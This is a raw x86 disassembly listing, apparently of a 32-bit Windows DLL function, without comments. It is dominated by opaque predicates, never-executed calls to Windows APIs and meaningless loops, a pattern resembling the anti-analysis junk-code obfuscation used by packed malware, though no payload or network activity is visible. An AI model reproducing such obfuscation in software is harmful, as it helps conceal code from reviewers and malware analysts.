cmp dword [ebp - 0xe8], 0xffffffff
jl 0x1000bea6
mov dword [ebp - 0x5e8], 1
jmp 0x1000bead
and dword [ebp - 0x5e8], 0
mov eax, dword [ebp - 0x5e8]
sub eax, 0x25765fd0
cmp eax, 8
jle 0x1000bec9
mov dword [ebp - 0xa78], 1
jmp 0x1000bed0
and dword [ebp - 0xa78], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc70], eax
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x904], eax
mov eax, dword [ebp - 0x904]
cmp dword [ebp - 0x44], eax
jg 0x1000befc
mov dword [ebp - 0x5f0], 1
jmp 0x1000bf03
and dword [ebp - 0x5f0], 0
mov eax, dword [ebp - 0x2bc]
cmp dword [ebp - 0x5f0], eax
jl 0x1000bf1d
mov dword [ebp - 0x804], 1
jmp 0x1000bf24
and dword [ebp - 0x804], 0
cmp dword [ebp - 0x804], 0x833e
jg 0x1000bf3c
mov dword [ebp - 0x9c8], 1
jmp 0x1000bf43
and dword [ebp - 0x9c8], 0
mov eax, dword [ebp - 0x5f8]
imul eax, dword [ebp - 0x9c8]
cmp eax, dword [ebp - 0x600]
je 0x1000bf6a
cmp dword [ebp - 0x600], 0
je 0x1000bf6a
and dword [ebp - 0x80c], 0
jmp 0x1000bf74
mov dword [ebp - 0x80c], 1
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x80c], eax
jg 0x1000bf85
cmp dword [ebp - 0x1c], 0
je 0x1000bf9a
mov eax, 0xb61f
test eax, eax
je 0x1000bf9a
mov dword [ebp - 0x608], 1
jmp 0x1000bfa1
and dword [ebp - 0x608], 0
imul eax, dword [ebp - 0x608], 0x4e31
mov dword [ebp - 0xb78], eax
jmp 0x1000bb62
mov dword [ebp - 0x218], 0
jmp 0x1000bfcf
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 1
jge 0x1000bfeb
mov eax, dword [ebp - 0x218]
mov dword [ebp + eax*4 - 0x2c4], 7
jmp 0x1000bfc2
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2c4], 0
jmp 0x1000c019
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2c4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2c4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2c4], 0xfffffff8
jl 0x1000c05d
mov byte [ebp - 0xc2], 0
movzx eax, byte [ebp - 0xc2]
test eax, eax
je 0x1000c05b
push 0xc8a
push 0x1f9b
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
jmp 0x1000bffe
mov dword [ebp - 0x1a0], 0xf6af1124
mov dword [ebp - 0x1a0], 0
jmp 0x1000c080
mov eax, dword [ebp - 0x1a0]
dec eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0xfffffffa
je 0x1000c178
mov dword [ebp - 0x224], 0xd3f46721
mov dword [ebp - 0x2cc], 0
jmp 0x1000c0b0
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 3
jge 0x1000c0cc
mov eax, dword [ebp - 0x2cc]
mov dword [ebp + eax*4 - 0xe84], 0xfa75c19c
jmp 0x1000c0a3
mov dword [ebp - 0x224], 2
jmp 0x1000c0e5
mov eax, dword [ebp - 0x224]
dec eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0
jl 0x1000c13c
mov dword [ebp - 0x158], 0xfffffffd
mov dword [ebp - 0x158], 2
jmp 0x1000c111
mov eax, dword [ebp - 0x158]
dec eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0
jl 0x1000c13a
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x1a0]
mov dword [ebp + eax*4 - 0xe84], ecx
cmp dword [ebp - 0x158], 0
je 0x1000c138
jmp 0x1000c13a
jmp 0x1000c104
jmp 0x1000c0d8
mov byte [ebp - 0x121], 0
movzx eax, byte [ebp - 0x121]
test eax, eax
je 0x1000c173
push 0x1cbd
push 0
push 0x16f2
push 0x11a5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
jmp 0x1000c073
mov dword [ebp - 0xdfc], 2
mov byte [ebp - 0xc4], 0
movzx eax, byte [ebp - 0xc4]
test eax, eax
je 0x1000c19c
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
mov byte [ebp - 0xd1], 0
movzx eax, byte [ebp - 0xd1]
test eax, eax
je 0x1000c1c0
push 1
push 0x1fec
push 0x1c7b
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov dword [ebp - 0x284], 0
jmp 0x1000c1d9
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 1
jge 0x1000c1f5
mov eax, dword [ebp - 0x284]
mov dword [ebp + eax*4 - 0x2a8], 7
jmp 0x1000c1cc
mov dword [ebp - 0x90c], 0xab659d56
mov dword [ebp - 0x22c], 0
jmp 0x1000c218
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 1
jge 0x1000c234
mov eax, dword [ebp - 0x22c]
mov dword [ebp + eax*4 - 0xc78], 0x6834504c
jmp 0x1000c20b
mov byte [ebp - 0xc6], 0
movzx eax, byte [ebp - 0xc6]
test eax, eax
je 0x1000c254
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov eax, dword [ebp - 0x90c]
inc eax
mov dword [ebp - 0x90c], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2a8], 0
jmp 0x1000c28f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2a8]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2a8], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2a8], 0xfffffff8
jl 0x1000c3b8
mov byte [ebp - 0x126], 0
movzx eax, byte [ebp - 0x126]
test eax, eax
je 0x1000c3b3
mov dword [ebp - 0x68], 0
jmp 0x1000c2c9
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 1
jge 0x1000c2df
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0xa80], 0x57fd
jmp 0x1000c2c2
mov dword [ebp - 0x68], 0
jmp 0x1000c2ef
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 3
jge 0x1000c305
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0xa30], 0xf5c184c5
jmp 0x1000c2e8
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xa30], 0
jmp 0x1000c333
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa30]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xa30], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa30], 1
jge 0x1000c35d
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa30]
mov dword [ebp + eax*4 - 0xa80], 0
jmp 0x1000c318
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xa30], 3
jge 0x1000c378
mov dword [ebp - 0x610], 1
jmp 0x1000c37f
and dword [ebp - 0x610], 0
mov eax, dword [ebp - 0x610]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xa30], eax
push 0xc8a
push 0x1f9b
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
jmp 0x1000c274
mov dword [ebp - 0x148], 0xfffffffa
mov dword [ebp - 0x148], 0
jmp 0x1000c3db
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0xe
jge 0x1000c435
mov dword [ebp - 0x234], 0xfda0e60f
mov dword [ebp - 0x234], 0
jmp 0x1000c407
mov eax, dword [ebp - 0x234]
dec eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0xfffffff3
je 0x1000c433
mov byte [ebp - 0xb9], 0
movzx eax, byte [ebp - 0xb9]
test eax, eax
je 0x1000c431
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_FlashWindow]
jmp 0x1000c3fa
jmp 0x1000c3ce
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x168], 0xfffffffa
mov dword [ebp - 0x168], 0
jmp 0x1000c464
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0xe
jge 0x1000c705
mov dword [ebp - 0x23c], 0xfda0e60f
mov dword [ebp - 0x48], 0xffffffff
mov dword [ebp - 0x288], 0
jmp 0x1000c49b
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 3
jge 0x1000c4b7
mov eax, dword [ebp - 0x288]
mov dword [ebp + eax*4 - 0xe90], 1
jmp 0x1000c48e
mov dword [ebp - 0x48], 0
jmp 0x1000c4c7
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xfffffff0
jne 0x1000c4f2
mov byte [ebp - 0xd9], 0
movzx eax, byte [ebp - 0xd9]
test eax, eax
je 0x1000c4f0
push 0x91e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
jmp 0x1000c4c0
mov dword [ebp - 0x48], 0
jmp 0x1000c502
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xffffffe6
je 0x1000c6bb
mov dword [ebp - 0xf0], 0xf8067e30
mov dword [ebp - 0x8c], 0
jmp 0x1000c52f
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 2
jge 0x1000c54b
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0xbcc], 0
jmp 0x1000c522
mov dword [ebp - 0x8c], 0
jmp 0x1000c564
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 2
jge 0x1000c580
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0xc14], 0xffffffff
jmp 0x1000c557
mov dword [ebp - 0xf0], 1
jmp 0x1000c599
mov eax, dword [ebp - 0xf0]
dec eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0
jl 0x1000c6a7
mov dword [ebp - 0xb40], 0xffffffff
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp + eax*4 - 0xbcc]
mov dword [ebp - 0xd9c], eax
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xf0]
cmp dword [ebp + eax*4 - 0xbcc], ecx
jne 0x1000c5e4
mov dword [ebp - 0x814], 1
jmp 0x1000c5eb
and dword [ebp - 0x814], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x814], eax
jle 0x1000c602
mov dword [ebp - 0x364], 1
jmp 0x1000c609
and dword [ebp - 0x364], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x364]
mov dword [ebp + eax - 0xc14], ecx
cmp dword [ebp - 0x364], 0
jne 0x1000c647
mov eax, 0x6fc6088b
test eax, eax
jne 0x1000c647
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc14], 0
jne 0x1000c647
and dword [ebp - 0x618], 0
jmp 0x1000c651
mov dword [ebp - 0x618], 1
cmp dword [ebp - 0x618], 0x8a27
jne 0x1000c669
mov dword [ebp - 0x98c], 1
jmp 0x1000c670
and dword [ebp - 0x98c], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x98c]
mov dword [ebp - 0xb40], eax
mov byte [ebp - 0x12c], 0
movzx eax, byte [ebp - 0x12c]
test eax, eax
je 0x1000c6a2
push 0
push 0
push 0x1bf
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
jmp 0x1000c58c
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x48]
mov dword [ebp + eax - 0xe90], ecx
jmp 0x1000c4fb
mov dword [ebp - 0x23c], 0
jmp 0x1000c6d4
mov eax, dword [ebp - 0x23c]
dec eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0xfffffff3
je 0x1000c700
mov byte [ebp - 0xc8], 0
movzx eax, byte [ebp - 0xc8]
test eax, eax
je 0x1000c6fe
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_FlashWindow]
jmp 0x1000c6c7
jmp 0x1000c457
mov dword [ebp - 0x6c], 0xdc4b4e12
mov dword [ebp - 0xa4], 0xae77ab39
mov dword [ebp - 0xa88], 0xdae9
mov dword [ebp - 0xa90], 0xff5452fa
mov dword [ebp - 0x2c8], 0
jmp 0x1000c743
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 4
jge 0x1000c75f
mov eax, dword [ebp - 0x2c8]
mov dword [ebp + eax*4 - 0xf64], 0xfffffffa
jmp 0x1000c736
mov eax, dword [ebp - 0x6c]
add eax, dword [ebp - 0x6c]
je 0x1000c891
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0
jne 0x1000c885
mov eax, 0xfff6
test eax, eax
je 0x1000c7c5
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0xa4], eax
jge 0x1000c7a4
mov dword [ebp - 0x620], 1
jmp 0x1000c7ab
and dword [ebp - 0x620], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x620], eax
jne 0x1000c7c5
mov dword [ebp - 0x81c], 1
jmp 0x1000c7cc
and dword [ebp - 0x81c], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x81c], eax
jg 0x1000c7e6
mov dword [ebp - 0x628], 1
jmp 0x1000c7ed
and dword [ebp - 0x628], 0
mov eax, dword [ebp - 0xa4]
add eax, dword [ebp - 0x628]
je 0x1000c810
cmp dword [ebp - 0xa4], 0
je 0x1000c810
mov dword [ebp - 0x914], 1
jmp 0x1000c817
and dword [ebp - 0x914], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x914], eax
je 0x1000c831
mov dword [ebp - 0x630], 1
jmp 0x1000c838
and dword [ebp - 0x630], 0
cmp dword [ebp - 0x630], 0x355fff83
jge 0x1000c850
mov dword [ebp - 0x824], 1
jmp 0x1000c857
and dword [ebp - 0x824], 0
mov eax, dword [ebp - 0x6c]
add eax, dword [ebp - 0x824]
je 0x1000c877
cmp dword [ebp - 0xa88], 0
je 0x1000c877
mov dword [ebp - 0xb98], 1
jmp 0x1000c87e
and dword [ebp - 0xb98], 0
push 0xfffffffffffffff6
pop eax
test eax, eax
je 0x1000c891
mov dword [ebp - 0x638], 1
jmp 0x1000c898
and dword [ebp - 0x638], 0
mov eax, dword [ebp - 0x638]
mov dword [ebp - 0xa90], eax
mov dword [ebp - 0x6c], 0
jmp 0x1000c8b4
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0x26
jl 0x1000c90a
mov dword [ebp - 0x9dc], 0
cmp dword [ebp - 0x6c], 1
je 0x1000c8e8
mov eax, 0xed76
test eax, eax
je 0x1000c8e8
cmp dword [ebp - 0x9dc], 0
je 0x1000c8e8
mov dword [ebp - 0x640], 1
jmp 0x1000c8ef
and dword [ebp - 0x640], 0
mov eax, dword [ebp - 0x9dc]
sub eax, dword [ebp - 0x640]
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xf64], eax
jmp 0x1000c8ad
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x168], eax
mov dword [ebp - 0xb48], 0x2c70bb74
mov dword [ebp - 0x244], 0
jmp 0x1000c939
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 2
jge 0x1000c955
mov eax, dword [ebp - 0x244]
mov dword [ebp + eax*4 - 0xcf4], 0xc75286e8
jmp 0x1000c92c
mov byte [ebp - 0x124], 0
movzx eax, byte [ebp - 0x124]
test eax, eax
je 0x1000c980
push 0x8ec
push 0x16f1
push 0
push 0x4e0
push 0
call dword [sym.imp.USER32.dll_GetMenuStringW]
cmp dword [ebp - 0xb48], 0
jne 0x1000c995
mov dword [ebp - 0x82c], 1
jmp 0x1000c99c
and dword [ebp - 0x82c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x82c]
mov dword [ebp + eax - 0xcf4], ecx
mov dword [ebp - 0x150], 0xfffffffa
mov dword [ebp - 0x150], 0
jmp 0x1000c9d2
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0xe
jge 0x1000ca2c
mov dword [ebp - 0x290], 0xfda0e60f
mov dword [ebp - 0x290], 0
jmp 0x1000c9fe
mov eax, dword [ebp - 0x290]
dec eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0xfffffff3
je 0x1000ca2a
mov byte [ebp - 0xca], 0
movzx eax, byte [ebp - 0xca]
test eax, eax
je 0x1000ca28
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_FlashWindow]
jmp 0x1000c9f1
jmp 0x1000c9c5
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x150], eax
movzx eax, byte [0x10671724]
test eax, eax
je 0x1000ca56
mov esi, 0x100855b0
mov edi, dword [ebp + 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 8]
jmp 0x10010b31
mov dword [ebp - 0xa98], 0x2c70bb74
mov dword [ebp - 0x24c], 0
jmp 0x1000ca79
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 2
jge 0x1000ca95
mov eax, dword [ebp - 0x24c]
mov dword [ebp + eax*4 - 0xd00], 0xc75286e8
jmp 0x1000ca6c
mov byte [ebp - 0x12a], 0
movzx eax, byte [ebp - 0x12a]
test eax, eax
je 0x1000cac0
push 0x8ec
push 0x16f1
push 0
push 0x4e0
push 0
call dword [sym.imp.USER32.dll_GetMenuStringW]
cmp dword [ebp - 0xa98], 0
jne 0x1000cad5
mov dword [ebp - 0x648], 1
jmp 0x1000cadc
and dword [ebp - 0x648], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x648]
mov dword [ebp + eax - 0xd00], ecx
mov dword [ebp - 0xc80], 0x100855b0
mov dword [ebp - 0xb80], 0x2c70bb74
mov dword [ebp - 0x2b0], 0
jmp 0x1000cb1c
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 2
jge 0x1000cb38
mov eax, dword [ebp - 0x2b0]
mov dword [ebp + eax*4 - 0xd0c], 0xc75286e8
jmp 0x1000cb0f
mov byte [ebp - 0x12e], 0
movzx eax, byte [ebp - 0x12e]
test eax, eax
je 0x1000cb63
push 0x8ec
push 0x16f1
push 0
push 0x4e0
push 0
call dword [sym.imp.USER32.dll_GetMenuStringW]
cmp dword [ebp - 0xb80], 0
jne 0x1000cb78
mov dword [ebp - 0x91c], 1
jmp 0x1000cb7f
and dword [ebp - 0x91c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x91c]
mov dword [ebp + eax - 0xd0c], ecx
mov dword [ebp - 0xe24], 0x100855b4
mov dword [ebp - 0x188], 0xbc6e5c7a
mov dword [ebp - 0x254], 0
jmp 0x1000cbbf
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 1
jge 0x1000cbdb
mov eax, dword [ebp - 0x254]
mov dword [ebp + eax*4 - 0x650], 0x136951ad
jmp 0x1000cbb2
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x650]
mov dword [ebp - 0xc88], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x650], 0xfffffffb
jbe 0x1000cc0a
mov dword [ebp - 0x834], 1
jmp 0x1000cc11
and dword [ebp - 0x834], 0
mov eax, dword [ebp - 0x834]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x188], 0
jmp 0x1000cc36
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0x24
jle 0x1000cc60
mov byte [ebp - 0xe1], 0
movzx eax, byte [ebp - 0xe1]
test eax, eax
je 0x1000cc5e
push 0
push 0x155
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
jmp 0x1000cc29
mov dword [ebp - 0x1b0], 0xbc6e5c7a
mov dword [ebp - 0x298], 0
jmp 0x1000cc83
cmp dword [ebp - 0x298], 1
jge 0x1000cc9f
mov eax, dword [ebp - 0x298]
mov dword [ebp + eax*4 - 0x658], 0x136951ad
jmp 0x1000cc76
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x658]
mov dword [ebp - 0xda4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x658], 0xfffffffb
jbe 0x1000ccce
pop edi
pop esi
mov esp, ebp
pop ebp
ret